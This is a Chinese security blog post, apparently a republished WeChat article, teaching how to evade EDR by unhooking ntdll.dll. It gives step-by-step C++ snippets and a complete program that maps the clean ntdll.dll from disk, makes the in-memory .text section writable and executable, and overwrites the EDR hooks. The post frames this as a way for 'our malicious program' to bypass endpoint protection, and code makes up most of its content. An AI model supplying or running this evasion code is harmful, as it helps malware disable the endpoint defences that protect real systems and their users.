映射Ntdll.dll来取消挂钩EDR
2024-1-20 00:35:17 Author: 白帽子(查看原文) 阅读量:20 收藏

EDR会在特定的Windows API函数上挂钩,例如NtWriteVirtualMemory函数,NTAllocateVirtualMemory函数等等。

我们可以从磁盘加载Ntdll.dll文件来绕过EDR产品,因为存储在磁盘上的EDR并不挂钩,磁盘上的Ntdll不包含EDR的代码,一般都是当我们的恶意程序启动之后并且Ntdll加载到内存中之后,EDR才会挂钩。

那么如果我们使用磁盘上的文件去覆盖掉已经在应用程序中挂钩的ntdll,那么是不是就可以绕过了。

我们主要关注的是覆盖已经感染过的ntdll的.txt部分即可。需要注意的是这种操作可能会产生告警,因为同一个应用程序加载两次ntdll是不常见的操作。

接下来我们来看一下代码:

首先第一步我们通过调用GetCurrentProcess返回我们当前的句柄,然后调用GetModuleHandleA函数来获取我们进程中的Ntdll.dll

 HANDLE process = GetCurrentProcess(); HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

我们来dbg跟一下:

可以看到是5A4D开头的。

获取到之后,然后调用getModuleInformation函数获取模块文件信息原型。

现在我们代码就变成了:

HANDLE process = GetCurrentProcess();MODULEINFO moduleInfo = {};HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");GetModuleInformation(process, ntdllModule, &moduleInfo, sizeof(moduleInfo));

紧接着获取moduleInfo结构中的lpBaseOfDll,其实就是上面通过GetModuleHandleA获取进程中ntdll的基地址。

LPVOID ntdllBase = (LPVOID)moduleInfo.lpBaseOfDll;

然后通过CreateFileA函数读取磁盘上的ntdll.dll文件。

HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

然后通过CreateFileMapping函数创建一个文件映射,CreateFileMapping函数可以创建或打开命名或未命名的文件映射对象,该对象通过内存映射技术对文件内容的访问,它允许进程创建虚拟内存空间,映射到磁盘上文件的内容或另一个内存位置。该函数返回文件映射对象的句柄。

HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

然后获取到进程中ntdll中的DOS头。

PIMAGE_DOS_HEADER dosHeaderOfHookedDll = (PIMAGE_DOS_HEADER)ntdllBase;

获取到DOS头之后下一步就是获取NT头了,NT头通过DOS头的e_lfane来进行获取。

PIMAGE_NT_HEADERS ntHeaderOfHookedDll = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + dosHeaderOfHookedDll->e_lfanew);

获取到NT头之后,接下来就可以去获取节表了,然后遍历节表。

可以看到我们的节表有9个。

紧接着我们来获取到一个节,也就是.txt。

然后进行判断我们这个节的名字是否是.txt,如果是的话那么进入IF。

然后我们获取到对应节的位置:

if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {  DWORD oldProtection = 0;  startingPageAdress = (LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress);

获取到进程中节的位置之后,然后获取节的大小。

sizeOfTheRegion = hookedSectionHeader->Misc.VirtualSize;

然后将这块内存更改为RWX,也就是可读可写可执行。

bool isProtected = VirtualProtect(startingPageAdress, sizeOfTheRegion, PAGE_EXECUTE_READWRITE, &oldProtection);

然后将我们上面从文件读取出来的copy到进程中.txt节这块内存。

memcpy(startingPageAdress, (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);

最后再将这块内存改成只读的即可。

isProtected = VirtualProtect(startingPageAdress, sizeOfTheRegion, oldProtection, &oldProtection);

完整代码:

#include <iostream>#include <Windows.h>#include <Psapi.h>int main(){  //调用GetCurrentProcess返回我们当前的句柄。  HANDLE process = GetCurrentProcess();  //注意这里获取到的是进程中NTDLL.DLL的基地址  HMODULE ndllBase = GetModuleHandleA("NTDLL.DLL");
//然后调用GetMofuleInfomation来获取指定模块的相关信息。 MODULEINFO moduleInfo = {}; GetModuleInformation(process,ndllBase,&moduleInfo,sizeof(moduleInfo));
//获取moduleInfo结构中的lpBaseOfDll,这里其实就是上面通过GetModuleHandleA获取NTDLL.DLL的基地址 LPVOID ntdllBase = moduleInfo.lpBaseOfDll;
//获取到NTDLL.DLL的基地址之后,先去读取磁盘上的ntdll.dll文件。 HANDLE ntdllFile = CreateFileA("C:\\windows\\system32\\ntdll.dll",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
//然后通过CreateFileMapping创建文件映射, HANDLE ndllMapping = CreateFileMapping(ntdllFile,NULL,PAGE_READONLY | SEC_IMAGE,0,0,NULL); LPVOID ndllMappingAddress = MapViewOfFile(ndllMapping,FILE_MAP_READ,0,0,0);
//获取进程中ntdll的DOS头 PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
//获取进程ntdll的NT头。 PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + dosHeader->e_lfanew);
//获取到NT头之后循环遍历节表 for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections;i++) { //获取到第一个节. PIMAGE_SECTION_HEADER hookText = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(ntHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); if (!strcmp((char*)hookText->Name,(char*)".text")) { //判断节的名字是否是.txt 如果是的话进入IF DWORD old = 0; //定位到.txt节的RVA地址 LPVOID pAddress = (LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookText->VirtualAddress); DWORD size = hookText->Misc.VirtualSize;
//然后将这块内存更改为RWX,也就是可读可写可执行。 getchar(); bool isProtected = VirtualProtect(pAddress,size,PAGE_EXECUTE_READWRITE,&old); memcpy(pAddress, (LPVOID)((DWORD_PTR)ndllMappingAddress + (DWORD_PTR)hookText->VirtualAddress), size); getchar(); isProtected = VirtualProtect(pAddress,size,old,&old);
}

}
CloseHandle(process); CloseHandle(ntdllFile); CloseHandle(ndllMapping); FreeLibrary(ndllBase);
getchar();}

文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650247316&idx=1&sn=45334881cb14b1ec3a9700757ea6360f&chksm=8303e97a29f71b0a1174d6158acfc2bdb4307cc05bb8a306c3fa279b15273451d2f813275921&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh